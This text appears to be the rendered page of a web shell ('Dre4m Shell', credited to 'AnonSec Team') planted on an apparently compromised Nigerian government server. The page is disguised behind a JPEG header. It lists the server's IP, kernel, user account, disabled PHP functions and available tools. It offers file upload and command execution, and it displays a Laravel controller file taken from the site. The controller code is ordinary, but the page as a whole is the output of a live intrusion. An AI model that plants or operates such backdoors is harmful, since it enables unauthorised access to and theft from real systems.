ÿØÿàJFIFÿáExifMM*ÿÛC  Dre4m Was Here
Dre4m Shell
Server IP : 199.250.214.225  /  Your IP : 18.219.147.124
Web Server : Apache
System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : nicngo5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/nicngo5/funds.upgrade.nicn.gov.ng/funds-upgraded/app/Http/Controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/nicngo5/funds.upgrade.nicn.gov.ng/funds-upgraded/app/Http/Controllers/ActiveYearController.php
<?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;

use App\Http\Requests;
use DB;
use Session;

class ActiveYearController extends Controller
{
    /**
     * Display a listing of the resource.
     *
     * @return \Illuminate\Http\Response
     */
    public function index()
    {
        $getContractSess = Session::get('contractSess');
        $getYearSess = Session::get('yearSess');
        $data['currentContract'] = $getContractSess;
        $data['currentYear'] = $getYearSess;

        $data['contracttype'] = DB::table('tblcontractType')->get();
        $data['years'] = $this->getYears(2018,2050);
        $data['contractTable'] = DB::table('tblactiveperiod')
        ->join('tblcontractType','tblcontractType.ID','=','tblactiveperiod.contractTypeID')
        ->orderBy('tblactiveperiod.year', 'asc')->get();
        //dd( $data['contractTable']);
        return view('activeYear.activeYear',$data);
    }

    /**
     * Show the form for creating a new resource.
     *
     * @return \Illuminate\Http\Response
     */
    public function create()
    {
        //
    }

    /**
     * Store a newly created resource in storage.
     *
     * @param  \Illuminate\Http\Request  $request
     * @return \Illuminate\Http\Response
     */
    public function store(Request $request)
    {
        //dd($request->all());

        $this->validate($request, [
            'contractType' =>'required',
            'year' =>'required',
         ]);
            
         
         $contractType  = $request->input('contractType');
         $year     = $request->input('year');

         Session::forget('contractSess');
         Session::forget('yearSess');

         Session::put('contractSess', $contractType);
         Session::put('yearSess', $year);

         $contractExist=DB::table('tblactiveperiod')->where('contractTypeID', $contractType)->exists();

         if($contractExist)
         {
            DB::table('tblactiveperiod')->where('contractTypeID',$contractType)
        ->update(['year' => $year]);
        
        return redirect('/active-year')
        ->with('message', 'Active Period was added to list');
         }
 
         $reallyStore = DB::table('tblactiveperiod')->insert(array(
             'contractTypeID'     => $contractType,
             'year'      => $year,
         ));
         //
 
         if($reallyStore)
         {
             return redirect('/active-year')->with('message', 'Active Period was added to list');
         }else{
             return redirect('/active-year')->with('error', 'info not added');
         }
    }

    /**
     * Display the specified resource.
     *
     * @param  int  $id
     * @return \Illuminate\Http\Response
     */
    public function show($id)
    {
        //
    }

    /**
     * Show the form for editing the specified resource.
     *
     * @param  int  $id
     * @return \Illuminate\Http\Response
     */
    public function edit($id)
    {
        //
    }

    /**
     * Update the specified resource in storage.
     *
     * @param  \Illuminate\Http\Request  $request
     * @param  int  $id
     * @return \Illuminate\Http\Response
     */
    public function update(Request $request, $id)
    {
        //
    }

    /**
     * Remove the specified resource from storage.
     *
     * @param  int  $id
     * @return \Illuminate\Http\Response
     */
    public function destroy($id)
    {
       $reallyDelete = DB::table('tblactiveperiod')->where('periodID', $id)->delete();
       if($reallyDelete==1)
       {
        return redirect('/active-year')->with('message', 'Active Period successfully deleted');

       } else{
           
        return redirect('/active-year')->with('error', 'Active Period could not be deleted');
       }
    }

    public function getYears($x,$y)
    {   
        $i=0;
       $year=array(100);
        foreach (range($x, $y) as $number) {
            $year[$i++]= $number;
        }
        return $year;
    }

}

Anon7 - 2022
AnonSec Team